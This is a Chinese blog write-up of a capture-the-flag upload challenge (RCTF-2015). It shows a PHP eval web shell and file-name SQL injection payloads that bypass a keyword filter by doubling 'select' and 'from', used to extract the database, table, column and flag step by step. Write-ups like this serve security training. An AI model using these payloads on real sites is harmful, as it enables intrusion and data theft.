




攻防世界进阶upload

原创

 舞动的獾 于 2019-07-05 20:57:35 发布  4648  收藏 3

分类专栏: [网络安全web](#) 文章标签: [攻防世界](#) [upload](#) [web进阶](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/Yu_csdnstory/article/details/94750179

版权



[网络安全web](#) 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

攻防世界进阶upload

upload

难度系数: ★ 1.0

题目来源: RCTF-2015

题目描述: flag格式为RCTF{*****}

题目场景:  http://111.198.29.45:44189

删除场景

倒计时: 03:55:58 延时

https://blog.csdn.net/Yu_csdnstory

注册登陆后, 发现上传页面

Upload page - Welcome aaaa

[Logout](#)

file list(<10 files)

未选择文件。

https://blog.csdn.net/Yu_csdnstory

试着上传一个文件3.php:

内容如下:

```
<?php eval(@$_POST['a']); ?>
```

Incorrect file extension!

我们试着将它改个名字抓包，并且改为jpg,措辞测试发现只有jog能够传上去

The screenshot shows the 'Request' and 'Response' tabs in a browser's developer tools. The 'Request' tab shows a POST request to /upload.php with various headers and a multipart form-data body. The 'Response' tab shows an HTTP 200 OK response with headers and HTML content that says 'File 3.jpg has been uploaded from aaaaand uid is:1660'.

虽然上传成功，但是并不能显示出文件名的位置，蚁剑连接失败

看到回显名称有uid号，无奈的丝毫没有头绪

只好看了大佬的博客，竟然是注入，文件名称注入

当输入文件名为注入语句时，发现并没有反应，出现上传成功，但是并没有回显，可能存在过滤

尝试多次发现过滤的时select和from，所以利用selselectect和frfromom进行绕过

首先，用注入得到表名称

```
s'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
```

这里用到了CONV,substr,hex

不转成数字，完全没有回显结果，所以用hex先将字符转换成16进制，然后用CONV函数将16进制转化为10进制，依次获取子串的12位，用substr截取12是因为一旦过长，会用科学计数法表示。

```
1.8446744073709552e19
```

```
131277325825392
```

将得到的回显，先转化为二进制，再转为字符串，得到部分库名

```
web_up
```

```
s'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
```

同上，得到后半部分的内容

1819238756

131277325825392

转化后为

```
load
```

合成数据库名称web_upload

下一步得到表名称

```
s'+(seleselectct+CONV(substr(hex((seleselectct TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
```

114784820031327

转化后为

```
hello_
```

继续得到

```
s'+(seleselectct+CONV(substr(hex((seleselectct table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
```

```
Content-Disposition: form-data; name="file"; filename="s'+(seleselectct+CONV(substr(hex((seleselectct table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg"
Content-Type: application/octet-stream
```

Logout

file list(<10 files)

浏览... 未选择文件。

submit

112615676665705

https://blog.csdn.net/Yu_csdnstory

flag_i

继续得到:

```
s'+(selectct+CONV(substr(hex((selectct table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg
```

126853610566245

s_here

拼接起来得知存放flag的表名为: hello_flag_is_here

下面得到表中的列名:

```
s'+(selectct+CONV(substr(hex((selectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
```

115858377367398

i_am_f

同样的方法, 得到值7102823=> lag

得到列名: i_am_flag

求字段内容:

```
s'+(selectct+CONV(substr(hex((selectct i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
```

36427215695199

得到:

!!_@m_

同样的方法, 得到值

92806431727430=> The_F

560750951=> !lag

拼接后: 得到: **flag: !!_@m_The_F!lag**

注意: 提交的**flag**只需要内容, 不需要任何前缀, 而且在写文件名时, 不要用数字, 不然会冲突, 会使回显的正确值加上你的数字值, 导致错误